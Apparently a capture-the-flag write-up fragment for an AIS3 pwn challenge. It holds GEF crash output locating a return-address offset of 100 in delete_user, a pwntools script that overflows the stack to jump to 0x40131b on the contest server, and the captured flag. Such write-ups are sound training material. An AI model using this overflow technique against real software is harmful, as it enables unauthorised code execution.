Enter the index of the user you want to delete: 123 aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaa
User not found.

Program received signal SIGSEGV, Segmentation fault.
0x0000000000401660 in delete_user ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x000000004052a0 → 0x00000000333231 ("123"?)
$rbx : 0x000000004017b0 → <__libc_csu_init+0> endbr64
$rcx : 0x007ffff7ed1077 → 0x5177fffff0003d48 ("H="?)
$rdx : 0x0
$rsp : 0x007fffffffe058 → "aaaanaaaaaaaoaaaaaaa"
$rbp : 0x6161616d61616161 ("aaaamaaa"?)
$rsi : 0x007ffff7fb0723 → 0xfb17e0000000000a ("\n"?)
$rdi : 0x007ffff7fb17e0 → 0x0000000000000000
$rip : 0x00000000401660 → <delete_user+271> ret
$r8 : 0x10
$r9 : 0x0
$r10 : 0x007ffff7f5eac0 → 0x0000000100000000
$r11 : 0x246
$r12 : 0x000000004011d0 → <_start+0> endbr64
$r13 : 0x007fffffffe170 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffe058│+0x0000: "aaaanaaaaaaaoaaaaaaa" ← $rsp
0x007fffffffe060│+0x0008: "aaaaoaaaaaaa"
0x007fffffffe068│+0x0010: 0x00000061616161 ("aaaa"?)
0x007fffffffe070│+0x0018: 0x007fffffffe170 → 0x0000000000000001
0x007fffffffe078│+0x0020: 0x000000004052a0 → 0x00000000333231 ("123"?)
0x007fffffffe080│+0x0028: 0x0000000000000000
0x007fffffffe088│+0x0030: 0x007ffff7de7083 → <__libc_start_main+243> mov edi, eax
0x007fffffffe090│+0x0038: 0x007ffff7ffc620 → 0x00050a6600000000
───────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x401656 <delete_user+261> call 0x401110 <puts@plt>
0x40165b <delete_user+266> mov rax, QWORD PTR [rbp-0x78]
0x40165f <delete_user+270> leave
→ 0x401660 <delete_user+271> ret
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ms", stopped 0x401660 in delete_user (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401660 → delete_user()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ pattern search aaaanaaaaaaaoaaaaaaa
[+] Searching for 'aaaanaaaaaaaoaaaaaaa'
[+] Found at offset 100 (big-endian search)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

r=remote('chals1.ais3.org',10003)

s=0x40131b

r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b': ')
r.sendline(b'123')
r.recvuntil(b': ')
r.sendline(b'123')
r.recvuntil(b': ')
r.sendline(b'123')
r.sendline(b'3')
r.recvuntil(b': ')
r.sendline(b'100 '+b'A'*100+p64(s))
r.interactive()

FLAG: FLAG{C0n6r47ul4710n5_0n_cr4ck1n6_7h15_pr09r4m_!!_!!_!}